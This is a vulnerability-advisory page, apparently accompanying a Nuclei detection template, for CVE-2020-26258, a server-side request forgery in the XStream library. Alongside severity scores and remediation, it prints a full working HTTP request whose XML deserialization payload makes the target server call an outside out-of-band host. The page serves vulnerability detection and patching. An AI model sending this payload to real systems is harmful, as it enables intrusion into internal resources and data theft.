| Title | XStream <1.4.15 - Server-Side Request Forgery |
|---|---|
| Author | pwnhxl |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks. |
| Remediation | Install at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher. |
| CVSS Score | 7.7 |
| EPSS Score | 0.9368 |
| CVE ID | CVE-2020-26258 |
| CWE ID | CWE-918 |
| Tags | cve cve2020 xstream ssrf oast xstream_project vuln |
XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 567
Content-Type: application/xml
Accept-Encoding: gzip
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://d5joqdhle0o10k5k946gdwez6nyb37trw.oast.site/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26258.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-26258.pcap
N/AN/A